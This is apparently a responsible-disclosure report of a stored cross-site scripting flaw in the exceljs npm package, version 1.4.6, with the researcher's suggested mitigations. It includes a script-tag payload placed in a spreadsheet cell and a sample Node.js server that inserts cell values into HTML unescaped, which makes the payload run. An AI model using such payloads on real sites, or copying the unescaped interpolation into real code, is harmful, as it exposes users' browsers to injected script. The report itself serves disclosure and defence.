Hi Team,
I would like to report Stored XSS vulnerability in exceljs module.
It allows to execute JavaScript code embeded in the XLS sheet when data from the sheet are displayed in the browser.
module name: exceljs
version: 1.4.6
npm page: https://www.npmjs.com/package/exceljs
Read, manipulate and write spreadsheet data and styles to XLSX and JSON.
Reverse engineered from Excel spreadsheet files as a project.
~18k weekly downloads (estimated ~72k monthly downloads)
exceljs
does not validate data from parsed XLSX file and allows to embed HTML tags, like <script>
, directly in the sheet cells. Because of that, I was able to craft malicious JavaScript code and execute it when data from the sheet were displayed in the browser.
$ npm i exceljs
<script>alert(`xss!`)</script>
save the file as testsheet.xlsx
create sample aplication, which reads,parse and prepare HTML with content of sample XLSX file and save it as app.js:
'use strict'
/*global console*/
const Excel = require('exceljs')
const http = require('http')
const port = 8080
const workbook = new Excel.Workbook()
const filename = 'testsheet.xlsx'
function createHTML(worksheet) {
let __html = `
<table>
<tr>
<td>${worksheet.getCell('A1').value}</td>
<td>${worksheet.getCell('A2').value}</td>
<td>${worksheet.getCell('A3').value}</td>
</tr>
<tr>
<td>${worksheet.getCell('B1').value}</td>
<td>${worksheet.getCell('B2').value}</td>
<td>${worksheet.getCell('B3').value}</td>
</tr>
</table>
`
return __html
}
const requestHandler = (request, response) => {
workbook.xlsx.readFile(filename)
.then(worksheets => {
worksheets.eachSheet(function(worksheet, sheetId) {
response.writeHeader(200, {
"Content-Type": "text/html"
})
response.write(createHTML(worksheet))
response.end()
});
});
}
const server = http.createServer(requestHandler)
server.listen(port, (err) => {
if (err) {
return console.log(err)
}
console.log(`server is listening on ${port}`)
})
$ node app.js
open http://localhost:8080 in the browser
you will notcie an alert pops up and malicious JavaScript is embeded in page source:
<table>
<tbody><tr>
<td><script>alert(`xss!`)</script></td>
<td>test</td>
<td>another</td>
</tr>
<tr>
<td>1</td>
<td>2</td>
<td>3</td>
</tr>
</tbody></table>
I am aware that due to XLSX files complexity, an implementation of escaping HTML special characters does not resolve the problem here (because <
, >
or /
can be used in any other context in XLSX file).
Probably this can be resolved by some kind of escape-on-demand data validation function passed as an optional argument to worksheet.getCell()
function if no special characters are expected in returned value. Blacklisting of <script
or similar well known string also might be an option, but this won’t never block attacker in 100% from bypassing such protection.
I contacted the maintainer to let them know: [N]
I opened an issue in the related repository: [N]
Regards,
Rafal ‘bl4de’ Janicki
If application displays content of the processed XLSX file in the browser, an attacker is able to craft malicious JavaScript payload which will be executed in context of user’s browser